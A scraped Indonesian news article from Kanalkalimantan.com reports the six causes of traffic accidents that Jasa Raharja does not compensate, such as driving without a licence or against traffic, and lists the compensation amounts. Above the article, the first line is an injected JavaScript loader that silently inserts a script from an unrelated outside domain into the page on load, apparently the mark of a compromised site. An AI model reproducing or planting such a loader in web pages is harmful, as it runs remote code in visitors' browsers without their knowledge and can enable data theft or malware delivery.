(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kesehatan

Ini 6 Jenis Penyebab Laka Lantas yang Tidak Ditanggung Jasa Raharja


KANALKALIMANTAN.COM, BANJARMASIN — Tugas utama Jasa Raharja adalah memberikan santunan kepada masyarakat yang mengalami kecelakaan lalu lintas (Laka Lantas) sesuai dengan ketentuan.

‎Besaran santuan antara lain Rp50 juta untuk korban cacat tetap, korban luka-luka sebesar Rp20 juta untuk biaya perawatan dalam kasus kecelakaan laut atau di darat, serta Rp25 juta  untuk kecelakaan yang menggunakan moda transportasi udara.

‎korban meninggal dunia mendapatkan Rp50 juta yang diserahkan ke ahli waris, kemudian biaya penguburan Rp4 juta, serta P3K ambulans Rp1,5 juta.

Baca juga: Tergelincir saat Menyalip, Pemotor Tewas Terlindas Truk Tangki di Gubernur Subardjo Banjarmasin

‎Sejumlah kasus kecelakaan yang disantuni Jasa Raharja seperti kecelakaan motor antara motor, bus umum yang terguling, hingga pesawat jatuh.

‎Namun, ada beberapa kondisi penyebab kecelakaan lalu lintas yang tidak mendapat santunan Jasa Raharja lantaran sudah di luar tanggungan.

‎Kepala Kantor Jasa Raharja Samsat Banjarmasin I Jasa Raharja Kalimantan Selatan, Satria Agus Susilo membagi ke dalam 6 kriteria diantaranya:

‎1. Kecelakaan akibat melawan arus lalu lintas
‎2. Berkendara tanpa Surat Izin Mengemudi (SIM)
‎3. Mengemudikan kendaraan bermotor yang dimodifikasi
‎4. Menerobos palang pintu lintasan kereta api
‎5. Berkendara tidak wajar untuk membuat konten
‎6. Berkendara dengan kendaraan yang tidak teregistrasi atau tidak dilengkapi STCK (Surat Tanda Coba Kendaraan) untuk kendaraan baru.

Baca juga: Mio Senggol Hino di Tikungan Masjid Agung Banjarbaru, Nyawa Penumpang Motor Melayang

‎“Enam penyebab kecelakaan tersebut yang tidak dijamin Jasa Raharja,” kata Satria.

‎Di samping itu, pihak Jasa Raharja terus mengimbau masyarakat agar lebih sadar akan keselamatan lalu lintas dengan mentaati  peraturan yang berlaku. (Kanalkalimantan.com/fahmi)

Reporter: fahmi
Editor: bie


Muhammad Andi

Recent Posts

Digitalisasi Pajak Lewat Bimtek Aplikasi SAPAT Kolaborasi BPPRD Banjarbaru – Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More

12 jam ago

Apresiasi Pemko Banjarmasin untuk Pembagian 2.500 Sepatu

KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More

15 jam ago

Unjuk Rasa Menuntut Solusi Banjir Kalsel di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More

16 jam ago

PUPR Kalsel Beberkan Rencana Pembangunan Jembatan Barito Dua

KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More

16 jam ago

Kabupaten Banjar Raih UHC Award Tahun 2026 Kategori Madya

KANALKALIMANTAN.COM, JAKARTA – Di bawah kepemimpinan Bupati Banjar H Saidi Mansyur, Pemerintah Kabupaten Banjar kembali… Read More

17 jam ago

Korem 101/Antasari Bagikan 2.500 Sepatu ke Anak Sekolah Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Merayakan Hari Ulang Tahun (HUT) ke-46 Komando Resor Militer (Korem) 101/Antasari membagikan… Read More

17 jam ago

This website uses cookies.